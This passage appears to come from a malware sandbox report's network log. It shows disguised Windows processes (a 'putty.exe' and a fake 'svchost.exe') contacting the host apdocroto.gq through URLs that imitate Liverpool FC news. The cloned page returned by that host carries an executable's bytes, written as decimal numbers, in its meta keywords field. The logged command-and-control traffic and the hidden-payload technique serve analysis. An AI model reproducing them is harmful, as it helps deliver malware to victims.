rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://feli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49168	104.21.14.60	80	C:\Users\user\AppData\Roaming\putty.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 12:05:14.106758118 CEST	4026	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq Connection: Keep-Alive
Jun 16, 2021 12:05:14.481699944 CEST	4027	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:05:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e14c1b00004dc4dc96d000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=Iq7CqHAfgNfpS6SJ9RW8luwMdxBIMIWJ%2FFucdN39a1LuNd%2FAhPN3hxRVnAJgTx3LtSc9%2FFrJEEqay%2FHZNsLNo7PspG3%2Bcifbwql8FITOkjrbIWTdnugNwutt"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 660337f359ea4dc4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.
Jun 16, 2021 12:05:14.481740952 CEST	4029	IN	Data Raw: 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 22 3e Data Ascii: data.tm-awx.com"><link rel="dns-prefetch" href="https://www.googletagmanager.com"><link rel="preconnect" href="https://www.googletagmanager.com"><link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="http
Jun 16, 2021 12:05:14.481767893 CEST	4030	IN	Data Raw: 6f 66 66 32 2f 53 69 67 6e 69 6b 61 4e 65 67 61 74 69 76 65 2d 42 6f 6c 64 2e 34 37 62 33 39 38 65 38 31 63 39 66 32 65 32 65 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 63 72 6f 73 73 6f 72 69 67 Data Ascii: off2/SignikaNegative-Bold.47b398e81c9f2e2e.woff2" as="font" crossorigin="crossorigin"><link rel="preload" href="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/webfonts/woff2/opensans-bold-webfont.1b0229cc78352a07.woff2"
Jun 16, 2021 12:05:14.481794119 CEST	4032	IN	Data Raw: 6c 65 2d 73 65 72 76 69 63 65 2f 72 65 61 64 2d 6e 65 78 74 2f 73 63 73 73 2f 72 65 61 64 2d 6e 65 78 74 2e 63 73 73 3f 76 3d 62 37 39 30 35 33 33 65 38 65 35 61 37 30 66 66 61 30 63 32 63 36 63 38 64 31 31 38 63 34 30 37 22 3e 0d 0a 3c 73 63 72 Data Ascii: le-service/read-next/scss/read-next.css?v=b790533e8e5a70ffa0c2c6c8d118c407"><script type="text/javascript">/! $script.js JS loader & dependency manager* https://github.com/ded/script.js* (c) Dustin Diaz 2014 \| License MIT*/(funct
Jun 16, 2021 12:05:14.481817961 CEST	4033	IN	Data Raw: 22 2c 75 3d 7b 7d 2c 61 3d 7b 7d 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 72 65 74 75 72 6e 20 76 2e 67 65 74 3d 6d 2c 76 2e 6f 72 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 20 72 28 69 29 7b 69 3d Data Ascii: ",u={},a={},f={},l={},c,h;return v.get=m,v.order=function(e,t,n){(function r(i){i=e.shift(),e.length?v(i,r):v(i,t,n)})()},v.path=function(e){c=e},v.urlArgs=function(e){h=e},v.ready=function(e,t,n){e=e[i]?e:[e];var r=[];return!d(e,function(e){u
Jun 16, 2021 12:05:14.481841087 CEST	4034	IN	Data Raw: 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 22 67 74 6d 2e 73 74 61 72 74 22 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 22 67 74 6d 2e 6a 73 22 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d Data Ascii: \|[];w[l].push({"gtm.start":new Date().getTime(),event:"gtm.js"});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!="dataLayer"?"&l="+l:"";j.async=true;j.src="https://www.googletagmanager.com/gtm.js?id="+i+dl;f.parentNode.inse
Jun 16, 2021 12:05:14.481853962 CEST	4035	IN	Data Raw: 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 Data Ascii: viewport" content="width=device-width, initial-scale=1"><meta name="description" content="Rhian Brewster was hyped up before the start of the season, but was that fair?"><meta name="robots" content="noarchive">
Jun 16, 2021 12:05:15.078613997 CEST	4036	IN	Data Raw: 37 66 66 39 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35 20 30 20 30 20 31 38 34 20 30 Data Ascii: 7ff9<meta name="keywords" content="77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112
Jun 16, 2021 12:05:15.078689098 CEST	4037	IN	Data Raw: 38 20 31 32 33 20 30 20 30 20 31 39 32 20 38 20 39 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 Data Ascii: 8 123 0 0 192 8 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 26 40 13 0 0 6 42 42 254 9 0 0 40 110 0 0 10 42 30 2 40 128 0 0 10 42 38 0 2 40 129 0 0 10 0 42 166 115 130 0 0 10 128 4 0 0 4 115 131 0 0 10 1
Jun 16, 2021 12:05:15.078728914 CEST	4039	IN	Data Raw: 20 32 35 34 20 31 32 20 30 20 30 20 35 37 20 31 34 36 20 31 20 30 20 30 20 30 20 30 20 34 30 20 31 32 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 33 20 30 20 32 35 34 20 31 33 20 33 20 30 20 32 35 34 20 32 32 20 33 32 20 30 20 30 20 31 20 31 31 Data Ascii: 254 12 0 0 57 146 1 0 0 0 0 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 114 246 179 3 112 40 14 0 0 10 254 14 1 0 114 0 180 3 112 40 15 0 0 10 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 40 16 0 0 10
Jun 16, 2021 12:05:15.078766108 CEST	4040	IN	Data Raw: 38 20 31 32 20 30 20 37 39 20 30 20 30 20 30 20 33 20 30 20 30 20 31 37 20 31 34 30 20 32 39 20 30 20 30 20 31 20 30 20 34 30 20 33 34 20 30 20 30 20 31 30 20 31 31 31 20 33 35 20 30 20 30 20 31 30 20 31 31 31 20 33 36 20 30 20 30 20 31 30 20 31 Data Ascii: 8 12 0 79 0 0 0 3 0 0 17 140 29 0 0 1 0 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 253 180 3 112 111 37 0 0 10 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 5 181 3 112 111 37 0 0 10 96 254 14 0 0 56 8 0 0 0 43 6 254 22 49 0 0 1 254 12 0 0 42
Jun 16, 2021 12:05:17.318262100 CEST	5310	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:05:17.681958914 CEST	5311	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:05:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e158a600004dc4ad271000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=uS7wtTKbglwUvwnRdxnKRpyzTy9ar6KMyBT1GjRa%2FC9XFFz7CokQtI6G1ALQCK%2BXYUk8eX592IjkUsR%2FKU6A35V6NXlCX7IKYndbTyuCVTecJUdU1tloskgF"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 660338077dd84dc4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data
Jun 16, 2021 12:05:22.968539953 CEST	6596	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:05:23.175766945 CEST	6598	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:05:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e16eb800004dc4ad0e4000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=zcT4OaOlRi2cxH%2FGfHUd2CdA8HLnIRSBos%2Bk5TuuF8ctZa1a%2FwJGNtB0UBWKTUwTaNSTgi4blT9k94%2BMoL0fOsRqXZ%2F0ZN%2FcXa3QtDhGd02cDOHWCKUmNPIl"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6603382acdcf4dc4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://feli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49169	172.67.158.27	80	C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 12:05:52.058926105 CEST	7824	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq Connection: Keep-Alive
Jun 16, 2021 12:05:52.424865007 CEST	7825	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:05:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e1e05b000017666da2e000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=S7Kfa5ErXeNXlIJdPR9lci4e06ZxJwYPhCyEsdW4yAxWq0Y3zESBktvb%2B4JEvuR%2FtTtLoZ3sdV3Gg1%2FGQsIFyFEpsJDP8k2qb83SAOIlYw6qkcJQCVDUY1yu"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 660338e09fc61766-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data
Jun 16, 2021 12:05:52.424916983 CEST	7827	IN	Data Raw: 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 22 3e 3c 6c 69 6e Data Ascii: .tm-awx.com"><link rel="dns-prefetch" href="https://www.googletagmanager.com"><link rel="preconnect" href="https://www.googletagmanager.com"><link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="https://
Jun 16, 2021 12:05:52.424949884 CEST	7828	IN	Data Raw: 2f 53 69 67 6e 69 6b 61 4e 65 67 61 74 69 76 65 2d 42 6f 6c 64 2e 34 37 62 33 39 38 65 38 31 63 39 66 32 65 32 65 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 3e Data Ascii: /SignikaNegative-Bold.47b398e81c9f2e2e.woff2" as="font" crossorigin="crossorigin"><link rel="preload" href="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/webfonts/woff2/opensans-bold-webfont.1b0229cc78352a07.woff2" as=
Jun 16, 2021 12:05:52.424984932 CEST	7829	IN	Data Raw: 65 72 76 69 63 65 2f 72 65 61 64 2d 6e 65 78 74 2f 73 63 73 73 2f 72 65 61 64 2d 6e 65 78 74 2e 63 73 73 3f 76 3d 62 37 39 30 35 33 33 65 38 65 35 61 37 30 66 66 61 30 63 32 63 36 63 38 64 31 31 38 63 34 30 37 22 3e 0d 0a 3c 73 63 72 69 70 74 20 Data Ascii: ervice/read-next/scss/read-next.css?v=b790533e8e5a70ffa0c2c6c8d118c407"><script type="text/javascript">/! $script.js JS loader & dependency manager* https://github.com/ded/script.js* (c) Dustin Diaz 2014 \| License MIT*/(function(
